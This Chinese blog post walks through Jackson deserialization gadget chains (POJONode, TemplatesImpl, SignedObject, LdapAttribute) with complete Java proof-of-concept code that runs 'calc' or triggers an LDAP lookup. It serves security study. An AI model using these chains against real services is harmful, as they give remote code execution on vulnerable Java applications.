首页 > 其他分享 >JackSon反序列化通杀

JackSon反序列化通杀

时间:2024-04-12 12:55:23浏览次数:28  
标签:BadAttributeValueExpException JackSon String java 通杀 import new 序列化 public

前言

Springboot一般都会自带JackSon这个依赖包,JackSonFastjson有相同的功效

简单复现

package com.example.jakeson.demo;
import java.io.IOException;
import java.io.Serializable;

public class User implements Serializable {
    public User() {
    }

    public Object getName() throws IOException {
        Runtime.getRuntime().exec("calc");
        return "1";
    }

    public Object setName(String name) {
        System.out.println("setname");
        return "2";
    }
}
package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;

public class JakesonDemo {
    public static void main(String[] args) {
        User user = new User();
        POJONode jsonNodes = new POJONode(user);
        jsonNodes.toString();
    }
}

运行即可弹计算器

Jackson反序列化利用链

注意点

PoJoNode类是继承ValueNodeValueNode是继承BaseJsonNode类,我们看看BaseJsonNode

它拥有writeReplace方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace方法,这是反序列化的规则,解决办法就是重写BaseJsonNode
把这个writeReplace注释掉即可

TemplatesImpl链

package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;

public class TemplatesImplDemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        System.out.println(serial(exp));
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString
进入到重写的BaseJsonNode类的toString方法
中间流程断了,。。。。,跟到最后,在StdSerializer类中wrapAndThrow方法调用到了getter

SignObject链

二次反序列化,无需多讲

package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class SignObjectDemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
        POJONode pojoNode2 = new POJONode(signedObject);
        BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
        Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val2.setAccessible(true);
        val2.set(exp2,pojoNode2);
        System.out.println(serial(exp2));
        deserial(serial(exp2));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

LdapAttribute链

package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;

public class LdapAttributeDemo {
    public static void main( String[] args ) throws Exception {
        String ldapCtxUrl = "ldap://127.0.0.1:1099/";
        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                new Object[] {"name"});
        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));
        POJONode jsonNodes = new POJONode(ldapAttribute);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

LdapAttribute类中有getter方法调用了lookup

两处入口,上面poc进入的是getAttributeDefinition方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx,这里payload必须是ldap://xxxx/不需要后缀了,具体原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思路吧

标签:BadAttributeValueExpException,JackSon,String,java,通杀,import,new,序列化,public
From: https://www.cnblogs.com/F12-blog/p/18129942

相关文章

  • golang JSON序列化和反序列化
    目录JSON序列化(Marshaling)JSON反序列化(Unmarshaling)错误处理和注意事项在Go语言(通常被称为Golang)中,JSON(JavaScriptObjectNotation)是一种常用的数据交换格式。Go标准库提供了encoding/json包,使得JSON的序列化(将Go数据结构转换为JSON格式的字符串)和反序列化(将JSON格式的字符串......
  • 02-APIView和序列化
    常规通过CBV的写法#models.pyfromdjango.dbimportmodelsclassBook(models.Model):name=models.CharField(max_length=32)price=models.IntegerField()publish=models.CharField(max_length=64)classMeta:db_table="book&qu......
  • Hessian反序列化分析
    RPC协议RPC全称为RemoteProcedureCallProtocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便RPC协议的一次远程通信过程如下:客户端发起请求,并按照RPC协议格式填充信息填充......
  • jackson 使用jsonNode与objectNode 实现访问json对象, 操作json对象
    前情提要因为现有项目都用的阿里巴巴的fastjson做json串的序列化与反序列化,但是fastJson的漏洞太多了,经常处理扫描出来的漏洞时,需要升级版本,导致出现各种大大小小的bug,经过考究,决定使用jackSon做新项目的序列化与反序列化工作,那先看一下常用的场景:将对象转为js......
  • 从0到1的二次反序列化
    前言简单介绍下二次反序列化,顾名思义,就是反序列化两次,其主要意义是绕过黑名单的限制或不出网利用,有些CTF题把一大堆关键类全都ban了,这就让人无从下手,二次反序列化就是为此而生的SignedObject原理看构造函数,接受一个可序列化的对象,再进行一次序列化,简直不要太perfect关注一下......
  • 记一次php反序列化漏洞中的POPchain和POC构造实战
    来自于橙子科技反序列化靶场源代码如下:<?php//flagisinflag.phphighlight_file(__FILE__);error_reporting(0);classModifier{private$var;publicfunctionappend($value){include($value);echo$flag;}publicfunction......
  • Rome反序列化链分析
    环境搭建<dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><de......
  • Java,MySQL,JDBC,Jackson时区问题
    Java,MySQL,JDBC,Jackson时区问题今天做了一个测试,主要是测试给时区参数设置不同的值,会出现什么样的问题。数据库是UTC时区。JDBC连接是GMT+8。jackson默认是UTC。JVM时区GMT+8。从数据库中查询的时间是正确的的,jackson会将时间缩短8个小时。数据库是UTC时区。JDBC连接是GMT+......
  • .net xml序列化与xml反序列化
    序列化stringxmlStr="";vardto=newReqDto(){ErrorCode=200,ReqName="test"};XmlSerializerserializer=newXmlSerializer(typeof(ReqDto));using(StringWritertextWriter=newStringWriter()){serializer.Serialize(textWr......
  • Django框架之序列化组件
    一、为什么要序列化呢?我们在写一些项目前后端是分离的,这意味着无法直接利用django提供的模版语法来实现前后端的数据交互,需要将数据转换成前后端都能接收处理的格式,即json,一般的格式都是列表套字典。那么我的前端想拿到由ORM得到的数据库里面的一个个用户对象,而我的后端也想直接......